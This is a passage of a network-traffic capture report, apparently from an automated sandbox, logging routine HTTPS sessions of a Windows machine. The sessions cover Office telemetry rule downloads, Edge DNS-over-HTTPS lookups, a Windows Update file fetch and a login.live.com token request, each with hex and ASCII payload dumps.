2024-11-11 20:59:19 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	58712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:19 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:19 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 87508168-a01e-0098-0bd5-338556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205919Z-174f78459685m244hC1EWRgp2c00000005b0000000008a3n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:19 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	58713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:20 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 1958a6a9-101e-0046-5bd5-3391b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205920Z-174f7845968pf68xhC1EWRr4h800000005p000000000kg31 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	58714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:20 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 5f7101d7-901e-0048-4fd5-33b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205920Z-174f78459685726chC1EWRsnbg00000005d000000000tn11 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:20 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	58719	172.64.41.3	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-11 20:59:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-11 20:59:20 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 11 Nov 2024 20:59:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e11349acab43350-EWR alt-svc: h3=":443"; ma=86400
2024-11-11 20:59:20 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 02 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	58718	162.159.61.3	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-11 20:59:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-11 20:59:20 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 11 Nov 2024 20:59:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e11349acbb8429a-EWR alt-svc: h3=":443"; ma=86400
2024-11-11 20:59:20 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 22 00 04 8e fa 41 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom"A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	58720	172.64.41.3	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-11 20:59:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-11 20:59:20 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 11 Nov 2024 20:59:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e11349acaf44384-EWR alt-svc: h3=":443"; ma=86400
2024-11-11 20:59:20 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ed 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	58699	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:20 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=xy+C3Wpb2k8Ug5Z&MD=cYzwUATg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-11 20:59:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 5a4f1bdc-e00a-40a8-8541-b05c351e153b MS-RequestId: cfa1bc36-591f-4931-a5f7-9d6a2eccee08 MS-CV: 9Ue32I8wNUa3LF7H.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 11 Nov 2024 20:59:19 GMT Connection: close Content-Length: 24490
2024-11-11 20:59:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-11 20:59:20 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	58698	40.126.32.138	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:20 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-11 20:59:20 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-11 20:59:20 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 11 Nov 2024 20:58:20 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: 62dd5a93-13bd-487a-ab52-968a1f4984e2 PPServer: PPV: 30 H: BL02EPF00027B5A V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 11 Nov 2024 20:59:19 GMT Connection: close Content-Length: 1276
2024-11-11 20:59:20 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	58724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:20 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:20 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 33d00c7b-501e-007b-28d5-335ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205920Z-174f7845968xlwnmhC1EWR0sv8000000055g00000000ue7y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:20 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	58725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:20 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 7eed3662-201e-003f-1ad5-336d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205920Z-174f78459684bddphC1EWRbht4000000058g000000004zyp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R 